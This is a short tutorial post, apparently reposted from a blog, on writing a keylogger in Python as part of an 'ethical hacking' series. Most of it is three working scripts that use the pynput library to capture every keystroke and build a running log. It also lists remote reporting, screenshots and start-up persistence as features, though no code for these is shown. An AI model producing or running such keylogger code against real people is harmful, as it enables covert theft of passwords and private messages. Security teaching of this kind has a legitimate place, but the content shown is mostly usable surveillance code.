Python Ethical Hacking - KEYLOGGER

A program that records keys pressed on the keyboard.

Common features:

Store logs locally(local keyloggers).

  • Report logs to an email or remote server(remote keyloggers).
  • Log screenshots.
  • Start with system startup.

Third-Party Module: pynput

pip install pynput

The simple Python Keylogger code:

#!/usr/bin/env python
import pynput.keyboard

def process_key_press(key):
    print(key)

keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press)
with keyboard_listener:
    keyboard_listener.join()

Using global variables to log all the key log.

#!/usr/bin/env python
import pynput.keyboard

log = ""
def process_key_press(key):
    global log
    log = log + str(key)
    print(log)

keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press)
with keyboard_listener:
    keyboard_listener.join()

 Logging special Keys with polishing the Python code.

#!/usr/bin/env python
import pynput.keyboard

log = ""
def process_key_press(key):
    global log
    try:
        log = log + str(key.char)
    except AttributeError:
        if key == key.space:
            log = log + " "
        else:
            log = log + " " + str(key) + " "
    print(log)

keyboard_listener = pynput.keyboard.Listener(on_press = process_key_press)
with keyboard_listener:
    keyboard_listener.join()

猜你喜欢

转载自www.cnblogs.com/keepmoving1113/p/11622818.html